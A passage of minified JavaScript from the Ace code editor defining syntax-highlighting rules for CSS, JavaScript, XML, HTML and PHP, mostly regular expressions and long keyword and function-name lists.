\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/php_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./html_highlight_rules\").HtmlHighlightRules,a=function(){var e=s,t=i.arrayToMap(\"abs|acos|acosh|addcslashes|addslashes|aggregate|aggregate_info|aggregate_methods|aggregate_methods_by_list|aggregate_methods_by_regexp|aggregate_properties|aggregate_properties_by_list|aggregate_properties_by_regexp|aggregation_info|amqpconnection|amqpexchange|amqpqueue|apache_child_terminate|apache_get_modules|apache_get_version|apache_getenv|apache_lookup_uri|apache_note|apache_request_headers|apache_reset_timeout|apache_response_headers|apache_setenv|apc_add|apc_bin_dump|apc_bin_dumpfile|apc_bin_load|apc_bin_loadfile|apc_cache_info|apc_cas|apc_clear_cache|apc_compile_file|apc_dec|apc_define_constants|apc_delete|apc_delete_file|apc_exists|apc_fetch|apc_inc|apc_load_constants|apc_sma_info|apc_store|apciterator|apd_breakpoint|apd_callstack|apd_clunk|apd_continue|apd_croak|apd_dump_function_table|apd_dump_persistent_resources|apd_dump_regular_resources|apd_echo|apd_get_active_symbols|apd_set_pprof_trace|apd_set_session|apd_set_session_trace|apd_set_session_trace_socket|appenditerator|array|array_change_key_case|array_chunk|array_combine|array_count_values|array_diff|array_diff_assoc|array_diff_key|array_diff_uassoc|array_diff_ukey|array_fill|array_fill_keys|array_filter|array_flip|array_intersect|array_intersect_assoc|array_intersect_key|array_intersect_uassoc|array_intersect_ukey|array_key_exists|array_keys|array_map|array_merge|array_merge_recursive|array_multisort|array_pad|array_pop|array_product|array_push|array_rand|array_reduce|array_replace|array_replace_recursive|array_reverse|array_search|array_shift|array_slice|array_splice|array_sum|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_unique|array_unshift|array_values|array_walk|array_walk_recursive|arrayaccess|arrayiterator|arrayobject|arsort|asin|asinh|asort|assert|assert_options|atan|atan2|atanh|audioproperties|badfunctioncallexception|badmethodcallexception|base64_decode|base64_encode|base_convert|basename|bbcode_add_element|bbcode_add_smiley|bbcode_create|bbcode_destroy|bbcode_parse|bbcode_set_arg_parser|bbcode_set_flags|bcadd|bccomp|bcdiv|bcmod|bcmul|bcompiler_load|bcompiler_load_exe|bcompiler_parse_class|bcompiler_read|bcompiler_write_class|bcompiler_write_constant|bcompiler_write_exe_footer|bcompiler_write_file|bcompiler_write_footer|bcompiler_write_function|bcompiler_write_functions_from_file|bcompiler_write_header|bcompiler_write_included_filename|bcpow|bcpowmod|bcscale|bcsqrt|bcsub|bin2hex|bind_textdomain_codeset|bindec|bindtextdomain|bson_decode|bson_encode|bumpValue|bzclose|bzcompress|bzdecompress|bzerrno|bzerror|bzerrstr|bzflush|bzopen|bzread|bzwrite|cachingiterator|cairo|cairo_create|cairo_font_face_get_type|cairo_font_face_status|cairo_font_options_create|cairo_font_options_equal|cairo_font_options_get_antialias|cairo_font_options_get_hint_metrics|cairo_font_options_get_hint_style|cairo_font_options_get_subpixel_order|cairo_font_options_hash|cairo_font_options_merge|cairo_font_options_set_antialias|cairo_font_options_set_hint_metrics|cairo_font_options_set_hint_style|cairo_font_options_set_subpixel_order|cairo_font_options_status|cairo_format_stride_for_width|cairo_image_surface_create|cairo_image_surface_create_for_data|cairo_image_surface_create_from_png|cairo_image_surface_get_data|cairo_image_surface_get_format|cairo_image_surface_get_height|cairo_image_surface_get_stride|cairo_image_surface_get_width|cairo_matrix_create_scale|cairo_matrix_create_translate|cairo_matrix_invert|cairo_matrix_multiply|cairo_matrix_rotate|cairo_matrix_transform_distance|cairo_matrix_transform_point|cairo_matrix_translate|cairo_pattern_add_color_stop_rgb|cairo_pattern_add_color_stop_rgba|cairo_pattern_create_for_surface|cairo_pattern_create_linear|cairo_pattern_create_radial|cairo_pattern_create_rgb|cairo_pattern_create_rgba|cairo_pattern_get_color_stop_count|cairo_pattern_get_color_stop_rgba|cairo_pattern_get_extend|cairo_pattern_get_filter|cairo_pattern_get_linear_points|cairo_pattern_get_matrix|cairo_pattern_get_radial_circles|cairo_pattern_get_rgba|cairo_pattern_get_surface|cairo_pattern_get_type|cairo_pattern_set_extend|cairo_pattern_set_filter|cairo_pattern_set_matrix|cairo_pattern_status|cairo_pdf_surface_create|cairo_pdf_surface_set_size|cairo_ps_get_levels|cairo_ps_level_to_string|cairo_ps_surface_create|cairo_ps_surface_dsc_begin_page_setup|cairo_ps_surface_dsc_begin_setup|cairo_ps_surface_dsc_comment|cairo_ps_surface_get_eps|cairo_ps_surface_restrict_to_level|cairo_ps_surface_set_eps|cairo_ps_surface_set_size|cairo_scaled_font_create|cairo_scaled_font_extents|cairo_scaled_font_get_ctm|cairo_scaled_font_get_font_face|cairo_scaled_font_get_font_matrix|cairo_scaled_font_get_font_options|cairo_scaled_font_get_scale_matrix|cairo_scaled_font_get_type|cairo_scaled_font_glyph_extents|cairo_scaled_font_status|cairo_scaled_font_text_extents|cairo_surface_copy_page|cairo_surface_create_similar|cairo_surface_finish|cairo_surface_flush|cairo_surface_get_content|cairo_surface_get_device_offset|cairo_surface_get_font_options|cairo_surface_get_type|cairo_surface_mark_dirty|cairo_surface_mark_dirty_rectangle|cairo_surface_set_device_offset|cairo_surface_set_fallback_resolution|cairo_surface_show_page|cairo_surface_status|cairo_surface_write_to_png|cairo_svg_surface_create|cairo_svg_surface_restrict_to_version|cairo_svg_version_to_string|cairoantialias|cairocontent|cairocontext|cairoexception|cairoextend|cairofillrule|cairofilter|cairofontface|cairofontoptions|cairofontslant|cairofonttype|cairofontweight|cairoformat|cairogradientpattern|cairohintmetrics|cairohintstyle|cairoimagesurface|cairolineargradient|cairolinecap|cairolinejoin|cairomatrix|cairooperator|cairopath|cairopattern|cairopatterntype|cairopdfsurface|cairopslevel|cairopssurface|cairoradialgradient|cairoscaledfont|cairosolidpattern|cairostatus|cairosubpixelorder|cairosurface|cairosurfacepattern|cairosurfacetype|cairosvgsurface|cairosvgversion|cairotoyfontface|cal_days_in_month|cal_from_jd|cal_info|cal_to_jd|calcul_hmac|calculhmac|call_user_func|call_user_func_array|call_user_method|call_user_method_array|callbackfilteriterator|ceil|chdb|chdb_create|chdir|checkdate|checkdnsrr|chgrp|chmod|chop|chown|chr|chroot|chunk_split|class_alias|class_exists|class_implements|class_parents|classkit_import|classkit_method_add|classkit_method_copy|classkit_method_redefine|classkit_method_remove|classkit_method_rename|clearstatcache|clone|closedir|closelog|collator|com|com_addref|com_create_guid|com_event_sink|com_get|com_get_active_object|com_invoke|com_isenum|com_load|com_load_typelib|com_message_pump|com_print_typeinfo|com_propget|com_propput|com_propset|com_release|com_set|compact|connection_aborted|connection_status|connection_timeout|constant|construct|construct|construct|convert_cyr_string|convert_uudecode|convert_uuencode|copy|cos|cosh|count|count_chars|countable|counter_bump|counter_bump_value|counter_create|counter_get|counter_get_meta|counter_get_named|counter_get_value|counter_reset|counter_reset_value|crack_check|crack_closedict|crack_getlastmessage|crack_opendict|crc32|create_function|crypt|ctype_alnum|ctype_alpha|ctype_cntrl|ctype_digit|ctype_graph|ctype_lower|ctype_print|ctype_punct|ctype_space|ctype_upper|ctype_xdigit|cubrid_affected_rows|cubrid_bind|cubrid_client_encoding|cubrid_close|cubrid_close_prepare|cubrid_close_request|cubrid_col_get|cubrid_col_size|cubrid_column_names|cubrid_column_types|cubrid_commit|cubrid_connect|cubrid_connect_with_url|cubrid_current_oid|cubrid_data_seek|cubrid_db_name|cubrid_disconnect|cubrid_drop|cubrid_errno|cubrid_error|cubrid_error_code|cubrid_error_code_facility|cubrid_error_msg|cubrid_execute|cubrid_fetch|cubrid_fetch_array|cubrid_fetch_assoc|cubrid_fetch_field|c